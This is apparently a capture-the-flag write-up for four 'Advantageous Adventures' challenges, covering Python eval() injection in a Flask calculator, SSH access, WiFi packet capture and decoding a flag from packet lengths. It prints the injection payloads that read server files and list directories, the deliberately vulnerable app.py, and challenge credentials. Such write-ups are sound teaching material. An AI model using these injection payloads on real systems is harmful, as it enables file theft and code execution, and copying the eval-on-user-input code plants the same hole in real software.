Advantageous Adventures
First Bloods :)
Managed to do up to AA-2 before I had to sleep as I had work the next day.

Woke up to solve AA-3 and AA-4!

AA 1
The page offers a bunch of math calculators. Testing some simple payloads revealed that the backend was using Python's eval()
to generate the results.

Now, if we are going to read a flag, we are most probably going to be dealing with strings. If we are dealing with strings, one of the math operators is more useful than others: the +
operator is the concatenation operator in Python.

Using the simple payload val1=''&val2=open('flag.txt').read()
, we can make the server return the contents of flag.txt
.

AA 2
Did you get what you needed from Advantageous Adventures 1? You'll need a username and password from the first challenge to proceed. I heard that the Advantageous Adventures team was using what you received to communicate on a low level. Can you figure out how they're talking?
All info for this challenge must be derived from Advantageous Adventures 1.
Solution
We can import the os module.
val1=''&val2=str(__import__('os').listdir())
The result: ['__pycache__', 'static', 'secret_script.py', 'secret_info', 'flag.txt', 'app.py', 'README.md', 'templates', 'Dockerfile']

secret_script.py
val1=''&val2=open('secret_script.py').read()
from scapy.all import rdpcap, RadioTap, wrpcap
# run this on the file you get during the second challenge
# you don't need to understand all of it
packets = rdpcap('in.pcap')
fixed_packets = []
if len(packets) < 2153:
# must have at least 2153 packets
exit(1)
for packet in packets:
# I know eval is unsafe but stackoverflow is down when script was created
packet_bytes = eval(str(packet))
fixed_packet_bytes = packet_bytes[14:]
fixed_packets.append(RadioTap(fixed_packet_bytes))
wrpcap("out.pcap", fixed_packets)
secret_info
Make sure not to leak this info, needs to be super secret:
ip: chals1.umdctf.io
port: 3001
username: user
password: w0w_th3s3_@dv3ntur3s_r3@lly_@r3_outr@g30u5
wifi password: whose_adventure
app.py
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/')
def start():
return render_template("home.html")
@app.route('/xor_calculator')
def xor_calculator():
return render_template("calculator.html", calculate_type="xor")
@app.route('/add_calculator')
def add_calculator():
return render_template("calculator.html", calculate_type="add")
@app.route('/mult_calculator')
def mult_calculator():
return render_template("calculator.html", calculate_type="mult")
@app.route('/xor', methods=['POST'])
def xor():
return calculate(0)
@app.route('/add', methods=['POST'])
def add():
return calculate(1)
@app.route('/mult', methods=['POST'])
def mult():
return calculate(2)
def calculate(operation_index):
try:
val1 = request.form['val1']
val2 = request.form['val2']
print(val1)
print(val2)
print(operation_index)
if operation_index == 0:
return str(eval(val1) ^ eval(val2))
elif operation_index == 1:
return str(eval(val1) + eval(val2))
else:
return str(eval(val1) * eval(val2))
except Exception as e:
print(e)
return "An error occured"
We can SSH into the server using the credentials obtained above: ssh [email protected] -p 3001
user@b54d03d75f2b:/$ find / -name *pcap 2>/dev/null
/sys/bus/spi/drivers/ezx-pcap
/usr/bin/dumpcap
/usr/bin/text2pcap
We can use dumpcap
to capture the network traffic.
Capture 2000+ packets on the WiFi interface: dumpcap -i wlo2 -P
After running the secret_script.py
, transfer the out.pcap
out using scp
:
scp -P 3001 [email protected]:/home/ubuntu/out.pcap .
Open in Wireshark, and we have our flag!

AA 3
In Wireshark, we can decrypt the wireless traffic with the WiFi password found previously. This reveals another flag hidden in the data of the subsequent packets.

AA 4
Shortly below the above flag, we can see lots of packets with repeated numbers, starting from 0000...
, 1111...
, 2222...
, and so on. The number itself probably doesn't mean much - we're looking for a string. But the length (i.e. number of repeated numbers) varies for each packet. This could be one way to encode data.

In Wireshark: Export packets as JSON. Then we can run a script to extract the flag:
import json
data = json.load(open('capture.json'))
result = ''
i = 1 # ith packet
j = 0 # number = 1
for packet in data:
if i < 500:
i += 1
continue
packet_data = packet['_source']['layers']['data']
char = chr((int(packet_data['data.len']) + 4 ) // len(str(j)))
if not result.endswith(char):
print(result, j)
result += char
j += 1
i += 1
if i > 2310:
break
print(result)

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